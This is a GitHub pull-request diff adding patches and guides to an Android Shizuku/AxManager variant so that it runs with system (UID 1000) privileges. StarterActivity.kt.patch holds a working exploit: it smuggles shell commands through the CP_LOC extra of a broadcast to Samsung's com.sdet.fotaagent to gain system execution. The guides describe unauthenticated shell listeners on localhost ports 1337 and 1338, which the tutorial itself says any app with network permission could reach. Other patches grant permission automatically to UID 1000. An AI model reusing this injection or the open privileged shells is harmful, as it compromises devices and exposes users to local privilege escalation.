Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 37 additions & 0 deletions Patches/Guide.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
# Integration Guide for UID 1000 Support

This guide outlines the changes required to enable UID 1000 (system) support in Shizuku-based projects, as implemented in the Pascua28 variant.

## 1. Native Starter (starter.cpp)
The native starter must be modified to:
- Accept UID 1000 in its initial check.
- Daemonize properly using a double fork.
- Optionally start a reverse shell server for remote debugging.

**Key File:** `manager/src/main/jni/starter.cpp`

## 2. System Exploit (StarterActivity.kt)
The exploit targets `com.sdet.fotaagent` on Samsung devices. It involves:
- Starting the `com.sdet.fotaagent.Main` activity.
- Sending a broadcast with action `com.sdet.fotaagent.intent.CP_FILE`.
- Injecting the command to run the Shizuku native library via the `CP_LOC` extra.

**Key File:** `manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt`

## 3. Permission Bypass
Since UID 1000 is a system user, it should be granted permission by default in the manager.
- Update `HomeViewModel.kt` and `RequestPermissionActivity.kt` to check if `Shizuku.getUid() == 1000`.

## 4. UI Changes
- Add a new card in the Home screen to trigger the system activation.
- Check for the existence of the `com.sdet.fotaagent` package before showing the option.

## 5. Reverse Shell Usage
The modified starter opens two ports:
- **Port 1337**: Provides a shell with UID 1000 (System).
- **Port 1338**: Provides a shell with UID 2000 (ADB).

To connect, use:
```bash
nc 127.0.0.1 1337
```
40 changes: 40 additions & 0 deletions Patches/ReverseShell_Tutorial.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
# Reverse Shell Tutorial

AxManager now includes a reverse shell feature in its native starter. This allows you to gain a shell on the device with either System (UID 1000) or ADB (UID 2000) privileges.

## Ports
- **Port 1337**: Provides a shell with **System (UID 1000)** privileges. This is available only when AxManager is started using the system exploit.
- **Port 1338**: Provides a shell with **ADB (UID 2000)** privileges. This is available when AxManager is started via ADB.

## How to use

### Prerequisites
- AxManager must be activated using either the System Exploit or Wireless ADB.
- You must have a way to connect to the device's local ports (e.g., via `adb forward` or using a terminal app on the same device).

### Method 1: Connecting via ADB (from Computer)
If you want to access the shell from your computer:

1. Forward the port to your computer:
```bash
# For System shell
adb forward tcp:1337 tcp:1337
# For ADB shell
adb forward tcp:1338 tcp:1338
```

2. Connect using `nc` (Netcat):
```bash
nc 127.0.0.1 1337
```

### Method 2: Connecting from the Device
If you are using a terminal app on the device (like Termux):

1. Connect directly to localhost:
```bash
nc 127.0.0.1 1337
```

## Safety Warning
The reverse shell server listens on `127.0.0.1` (localhost) only, meaning it is only accessible from within the device or via an ADB forward. However, any app on the device with network permissions could potentially connect to these ports. Use this feature only when needed for debugging.
12 changes: 12 additions & 0 deletions Patches/UID1000_Support/HomeViewModel.kt.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/home/HomeViewModel.kt 2026-02-12 18:00:34.818361036 +0000
+++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/home/HomeViewModel.kt 2026-02-12 18:00:34.650361038 +0000
@@ -38,7 +38,8 @@
}
} else null
val permissionTest =
- Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") == PackageManager.PERMISSION_GRANTED
+ Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") ==
+ PackageManager.PERMISSION_GRANTED || uid == 1000

// Before a526d6bb, server will not exit on uninstall, manager installed later will get not permission
// Run a random remote transaction here, report no permission as not running
11 changes: 11 additions & 0 deletions Patches/UID1000_Support/RequestPermissionActivity.kt.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/authorization/RequestPermissionActivity.kt 2026-02-12 18:00:34.814361036 +0000
+++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/authorization/RequestPermissionActivity.kt 2026-02-12 18:00:34.646361038 +0000
@@ -41,7 +41,7 @@

private fun checkSelfPermission(): Boolean {
val permission = Shizuku.checkRemotePermission("android.permission.GRANT_RUNTIME_PERMISSIONS") == PackageManager.PERMISSION_GRANTED
- if (permission) return true
+ if (permission || Shizuku.getUid() == 1000) return true

val icon = getDrawable(R.drawable.ic_system_icon)
icon?.setTint(theme.resolveColor(android.R.attr.colorAccent))
70 changes: 70 additions & 0 deletions Patches/UID1000_Support/StartSystemViewHolder.kt
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
package moe.shizuku.manager.home

import android.content.Intent
import android.text.method.LinkMovementMethod
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import androidx.appcompat.app.AlertDialog
import moe.shizuku.manager.R
import moe.shizuku.manager.databinding.HomeItemContainerBinding
import moe.shizuku.manager.databinding.HomeStartSystemBinding
import moe.shizuku.manager.ktx.toHtml
import moe.shizuku.manager.starter.StarterActivity
import rikka.html.text.HtmlCompat
import rikka.recyclerview.BaseViewHolder
import rikka.recyclerview.BaseViewHolder.Creator

class StartSystemViewHolder(private val binding: HomeStartSystemBinding, system: View) :
BaseViewHolder<Boolean>(system) {

companion object {
val CREATOR = Creator<Boolean> { inflater: LayoutInflater, parent: ViewGroup? ->
val outer = HomeItemContainerBinding.inflate(inflater, parent, false)
val inner = HomeStartSystemBinding.inflate(inflater, outer.root, true)
StartSystemViewHolder(inner, outer.root)
}
}

private inline val start get() = binding.button1

private var alertDialog: AlertDialog? = null

init {
val listener = View.OnClickListener { v: View -> onStartClicked(v) }
start.setOnClickListener(listener)
binding.text1.movementMethod = LinkMovementMethod.getInstance()
}

private fun onStartClicked(v: View) {
val context = v.context
val intent = Intent(context, StarterActivity::class.java).apply {
putExtra(StarterActivity.EXTRA_IS_ROOT, false)
putExtra(StarterActivity.EXTRA_IS_SYSTEM, true)
}
context.startActivity(intent)
}

override fun onBind() {
start.isEnabled = true
if (data!!) {
start.visibility = View.GONE
} else {
start.visibility = View.VISIBLE
}

val sb = StringBuilder()
.append(
context.getString(
R.string.home_system_description
)
)

binding.text1.text = sb.toHtml(HtmlCompat.FROM_HTML_OPTION_TRIM_WHITESPACE)
}

override fun onRecycle() {
super.onRecycle()
alertDialog = null
}
}
92 changes: 92 additions & 0 deletions Patches/UID1000_Support/StarterActivity.kt.patch
Original file line number Diff line number Diff line change
@@ -0,0 +1,92 @@
--- Shizuku-Rikka/manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt 2026-02-12 18:00:34.822361036 +0000
+++ Shizuku-Pascua28/manager/src/main/java/moe/shizuku/manager/starter/StarterActivity.kt 2026-02-12 18:00:34.662361038 +0000
@@ -1,6 +1,7 @@
package moe.shizuku.manager.starter

import android.content.Context
+import android.content.Intent
import android.os.Bundle
import android.util.Log
import androidx.lifecycle.LiveData
@@ -19,6 +20,7 @@
import moe.shizuku.manager.adb.AdbKeyException
import moe.shizuku.manager.adb.PreferenceAdbKeyStore
import moe.shizuku.manager.app.AppBarActivity
+import moe.shizuku.manager.application
import moe.shizuku.manager.databinding.StarterActivityBinding
import rikka.lifecycle.Resource
import rikka.lifecycle.Status
@@ -35,6 +37,7 @@
ViewModel(
this,
intent.getBooleanExtra(EXTRA_IS_ROOT, true),
+ intent.getBooleanExtra(EXTRA_IS_SYSTEM, false),
intent.getStringExtra(EXTRA_HOST),
intent.getIntExtra(EXTRA_PORT, 0)
)
@@ -95,13 +98,14 @@

companion object {

+ const val EXTRA_IS_SYSTEM = "$EXTRA.IS_SYSTEM"
const val EXTRA_IS_ROOT = "$EXTRA.IS_ROOT"
const val EXTRA_HOST = "$EXTRA.HOST"
const val EXTRA_PORT = "$EXTRA.PORT"
}
}

-private class ViewModel(context: Context, root: Boolean, host: String?, port: Int) : androidx.lifecycle.ViewModel() {
+private class ViewModel(context: Context, root: Boolean, isSystem: Boolean, host: String?, port: Int) : androidx.lifecycle.ViewModel() {

private val sb = StringBuilder()
private val _output = MutableLiveData<Resource<StringBuilder>>()
@@ -112,6 +116,8 @@
try {
if (root) {
startRoot()
+ } else if (isSystem) {
+ startSys()
} else {
startAdb(host!!, port)
}
@@ -162,6 +168,40 @@
}
}
}
+
+ private fun startSys() {
+ sb.append("Starting with system...").append('\n').append('\n')
+ postResult()
+
+ GlobalScope.launch(Dispatchers.IO) {
+ val intent = Intent().apply {
+ setClassName("com.sdet.fotaagent", "com.sdet.fotaagent.Main")
+ addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+ }
+ application.applicationContext.startActivity(intent)
+
+ val mIntent = Intent("com.sdet.fotaagent.intent.CP_FILE")
+ mIntent.putExtra("CP_FILE", "/data")
+ mIntent.putExtra("CP_LOC", "; " + application.applicationInfo.nativeLibraryDir
+ + "/libshizuku.so" + "; am force-stop com.sdet.fotaagent")
+ try {
+ Thread.sleep(1000)
+ application.applicationContext.sendBroadcast(mIntent)
+ sb.append("Start system success!").append('\n').append('\n')
+ postResult()
+
+ sb.append("info: shizuku_starter exit with 0")
+ postResult()
+
+ return@launch
+ } catch (e: InterruptedException) {
+ e.printStackTrace()
+ sb.append("Start system failed!").append('\n')
+ postResult()
+ return@launch
+ }
+ }
+ }

private fun startAdb(host: String, port: Int) {
sb.append("Starting with wireless adb in port $port...").append('\n').append('\n')
59 changes: 59 additions & 0 deletions Patches/UID1000_Support/home_start_system.xml
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
style="?homeCardStyle"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">

<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:gravity="center_vertical"
android:orientation="horizontal">

<ImageView
android:id="@android:id/icon"
style="@style/CardIcon"
android:duplicateParentState="true"
android:importantForAccessibility="no"
android:src="@drawable/ic_root_24dp" />

<TextView
android:id="@android:id/title"
style="@style/CardTitle"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginStart="@dimen/home_icon_padding"
android:layout_weight="1"
android:text="@string/home_system_title" />

</LinearLayout>

<TextView
android:id="@android:id/text1"
style="@style/CardContent"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:layout_marginBottom="24dp"
tools:text="@string/home_system_description" />

<com.google.android.material.button.MaterialButton
android:id="@android:id/button1"
style="@style/CardButton"
android:enabled="false"
android:text="@string/home_root_button_start"
app:icon="@drawable/ic_server_start_24dp" />

<com.google.android.material.button.MaterialButton
android:id="@android:id/button2"
style="@style/CardButton"
android:enabled="false"
android:text="@string/home_root_button_restart"
android:visibility="gone"
app:icon="@drawable/ic_server_restart"
tools:visibility="visible" />

</LinearLayout>
Loading